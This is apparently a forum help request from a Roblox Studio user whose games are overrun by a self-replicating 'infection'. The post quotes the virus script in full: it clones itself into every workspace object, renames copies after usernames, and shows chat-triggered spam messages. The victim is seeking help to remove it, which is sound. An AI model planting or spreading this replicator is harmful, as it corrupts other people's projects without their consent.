Can someone please help me fix this Infection in Studio?

I have an infection that if its in pause mode and I delete it, hundreds more generate but when I go Test>Start There is 4JAMDUDE4 and Player in Terrain, Player and benjonas2 in Camera and player and MightyCHILI in Baseplate, so 2 in each and when I delete them those same 2 re appear and they each have a script called [[ProperGråmmerNeededInPhilosiphalLocations;insertNoobHere]] in them and this is it. Can someone please help me delete these? It does it to all my games and every account I use even in a game with no models or bricks at all.

names={"benjonas2", "michael1784", "mightyCHILI", "4JAMDUDE4"}
local NameCheck = false
script.Parent.Name = names[math.random(1, #names)]
script.Name = [[ProperGråmmerNeededInPhilosiphalLocations;insertNoobHere]]
local c = script.Parent:Clone()

function addEvent(ch)
    wait(math.random())
    NameCheck = false
    for ss = 1, #names do
        if ch:IsA("RotateP") or ch:findFirstChild(names[ss]) ~= nil then
            NameCheck = true
        end
    end
    if NameCheck == false then
        local cloak = c:Clone()
        cloak.Name = ""
        cloak:GetChildren()[1].Name = ""
        cloak.Parent = ch
        cloak.Name = names[math.random(1, 5)]
    end
end

workspace.ChildAdded:connect(addEvent)

game.Players.PlayerAdded:connect(function(pl)
    pl.Chatted:connect(function(m)
        if m:sub(1, 5) == "/sc t" then
            local m = Instance.new("Message")
            m.Parent = workspace
            m.Text = "THEY CALL ME CRAZY"
            wait(1)
            m.Text = "Get some"
            wait(0.25)
            m.Text = "LoOoOoOoP"
            wait(0.25)
            m.Text = "lOoOoOoOp"
            wait(0.25)
            m.Text = "LoOoOoOoP"
            wait(0.25)
            m.Text = "lOoOoOoOp"
            wait(0.25)
            m.Text = "LoOoOoOoP"
            wait(0.25)
            m.Text = "GOTTA GOTTA BE CRAZY"
            wait(1)
            m.Text = "lOoOoOoOp"
            wait(0.25)
            m.Text = "LoOoOoOoP"
            wait(0.25)
            m.Text = "lOoOoOoOp"
            wait(0.25)
            m.Text = "LoOoOoOoP"
            wait(0.25)
            m.Text = "lOoOoOoOp"
            wait(0.25)
            m.Text = "LoOoOoOoP"
            wait(0.25)
            m.Text = "GOTTA GET A LIFE (YOU)"
            wait(3)
            m:remove()
        end
        if m:sub(1, 5) == "HAAXX" then
            local m = Instance.new("Message")
            m.Parent = workspace
            m.Text = "HAAXX"    
            wait(3)
            m:remove()
        end
    end)
end)

while true do
    local s = workspace:GetChildren()
    for i = 1, #s do
        NameCheck = false
        for ss = 1, #names do
            if s[i]:IsA("RotateP") or s[i]:findFirstChild(names[ss]) ~= nil then
                NameCheck = true
            end
        end
        if NameCheck == false then
            local cloak = c:Clone()
            cloak.Name = ""
            cloak:GetChildren()[1].Name = ""
            cloak.Parent = s[i]
        end
        wait(0.1)
    end
    wait(1)
end